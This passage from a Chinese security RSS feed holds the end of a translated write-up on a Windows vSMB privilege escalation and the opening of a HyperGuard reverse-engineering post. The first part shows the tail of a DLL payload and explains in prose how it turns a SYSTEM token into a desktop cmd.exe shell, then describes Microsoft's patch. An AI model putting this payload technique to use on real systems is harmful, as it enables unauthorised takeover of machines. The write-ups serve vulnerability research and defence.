leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            &amp;si,</span><span leaf=""><br/></span><span leaf="">            &amp;pi</span><span leaf=""><br/></span><span leaf="">        );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">case</span></span><span leaf=""> DLL_PROCESS_DETACH:</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">TRUE</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中包含了一种简单的文件锁技术，用于演示如何防止在 COM 方法被其他计划内的系统进程调用时（在漏洞利用开发期间观察到的现象）生成多个命令 shell。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此实现通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WTSGetActiveConsoleSessionId()</span></code><span leaf="">获取活动控制台会话 ID 并打开当前进程令牌。由于 DLL 由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">进程加载，令牌携带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SeTcbPrivilege</span></code><span leaf="">，该权限通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AdjustTokenPrivileges()</span></code><span leaf="">启用。此权限是后续 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SetTokenInformation()</span></code><span leaf="">调用所必需的，该调用将复制令牌的会话从 0 更改为活动控制台会话。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateProcessAsUserW()</span></code><span leaf="">使用复制后的令牌生成 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmd.exe</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">STARTUPINFOW</span></code><span leaf="">结构的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lpDesktop</span></code><span leaf="">字段被设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winsta0\\default</span></code><span leaf="">，即活动控制台会话中的交互式桌面。这确保命令 shell 在以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">令牌运行的同时出现在用户桌面上，从而完成提权链。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">演示</span></h2><p nodeleaf=""></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Microsoft 的补丁</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2025 年 12 月的安全更新为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">带来了若干补丁。值得注意的是，当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HasWriteAccess</span></code><span leaf="">字段被设置时，文件操作现已强制执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_FORCE_ACCESS_CHECK</span></code><span leaf="">标志。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，对该漏洞的致命一击是在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">函数中引入了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbIsUserTrusted()</span></code><span leaf="">检查。现在，每当用户以 vSMB 共享为目标路径调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateFileW()</span></code><span leaf="">API 时，驱动都会验证调用进程是否为管理员或以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份运行。在补丁后的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">函数中，当句柄以非 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_WRITE_DATA</span></code><span leaf="">访问方式打开时，将调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbIsUserTrusted()</span></code><span leaf="">。如果调用者不受信任，操作将被拒绝：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (SecurityContext-&gt;DesiredAccess &amp; FILE_WRITE_DATA) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !</span><span style="color: rgb(0, 92, 197);"><span leaf="">VspVsmbIsUserTrusted</span></span><span leaf="">(IRP) )</span><span leaf=""><br/></span><span leaf="">    {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// &#34;Only trusted users can access the vSMB share root&#34;</span><span leaf=""><br/></span></span><span leaf="">        Status = STATUS_ACCESS_DENIED;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_73;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这在阶段 1 处中断了利用链。低权限用户再也无法仅以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_READ_DATA</span></code><span leaf="">获取特权目录的 vSMB 共享句柄。没有此句柄，阶段 2 中的 IOCTL 请求便无法发出，利用链随之崩溃。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.exodusintel.com/2026/07/27/from-virtual-share-to-physical-shell-leveraging-windows-inconsistent-access-control-for-lpe/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=037ce75a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496794%26idx%3D1%26sn%3Db61e569f12536d131cb27a543af0bd7a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 05 Aug 2026 20:26:00 +0800</pubDate>
    </item>
    <item>
      <title>逆向工程：HyperGuard 在 ntoskrnl 中监控了什么</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496786&amp;idx=1&amp;sn=08c97d341f2e88e92ee8e301a1442ba3</link>
      <description>通过调试安全内核，逆向分析了 HyperGuard 在 ntoskrnl 中监控的连续区域和特定地址，涵盖 SSDT、Alt Syscalls、Infinity Hook 攻击面及 hypercall 桩等关键保护对象</description>
      <content:encoded><![CDATA[<p><span>fluxsec</span> <span>2026-07-31 10:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=42dfeaf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSjicbp1kou9dzYtLf9p37LFCRm0GaKicjZ5zMIQ882pDxEYttpo3I8IwczHycxza05qPeE9w5FHzckPJJvmziaovfictWicNtfV4PfI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>通过调试安全内核，逆向分析了 HyperGuard 在 ntoskrnl 中监控的连续区域和特定地址，涵盖 SSDT、Alt Syscalls、Infinity Hook 攻击面及 hypercall 桩等关键保护对象</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://fluxsec.red/what-does-hyperguard-skpg-monitor-vtl1-windows-internals-secure-kernel-patch-guard" target="_blank">https://fluxsec.red/what-does-hyperguard-skpg-monitor-vtl1-windows-internals-secure-kernel-patch-guard</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">fluxsec</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">让 HyperGuard 措手不及</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">引言</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我之前简要讨论过将代码加载到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">（Virtual Trust Level 1，虚拟信任级别 1）中。这是 Windows VBS 使用的更高特权虚拟信任级别，承载着安全内核和隔离的用户态组件，这些组件的内存可以受到保护，免受常规 VTL0 内核的影响。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虚拟信任级别在互联网上已有深入讲解，安全内核也已被多位研究者讨论（1、2、3、4，等等..）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">HyperGuard，又称安全内核补丁保护（Secure Kernel Patch Guard），通过将选定的完整性检查和强制执行移入更高特权的 VTL1 安全内核，来补充传统的 PatchGuard。PatchGuard 对许多人来说无需赘述，但简而言之，微软引入它是为了保护某些敏感的内核结构、函数等，以防止 rootkit 修改它们。不幸的是，这种方法存在一个缺陷——如果你与对手运行在同一特权级别，他们在欺骗你方面拥有的控制力，与你保护系统免受其侵害的控制力一样大。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">后来，基于虚拟化的安全（VBS）出现了，它利用 Hyper-V hypervisor 引入了两个信任级别：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL0</span></code><span leaf="">（常规信任级别）和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">（安全信任级别）。我不会自称是 hypervisor 方面的专家，事实上，探索它们正是我自身学习旅程的一部分。那里的技术</span><strong><span leaf="">非常</span></strong><span leaf="">酷。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关键在于，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL0</span></code><span leaf="">代码不能直接触碰 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">中的内容，必须通过预定义的 secure-call/hypercall 接口来进行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因为运行在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL0</span></code><span leaf="">的代码，即便是 rootkit，也无法触碰 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">中的函数，微软引入了 SKPG / HyperGuard，从一个受保护的安全堡垒中扫描内存，以做出权威判定——rootkit 是否篡改了操作系统中涉及安全与完整性的关键部分。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">撰写本文的动机有三：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">我想更深入地研究安全内核，并调试它</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">我对 Alt Syscalls 感到好奇——我之前在此讨论过，它与 SKPG 的关系又是如何。继续阅读便知分晓！</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">我好奇 SKPG 实际上在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntoskrnl</span></code><span leaf="">中监控了什么，与常规 Patch Guard 有何不同？</span></p></li></ol><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">调试安全内核</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 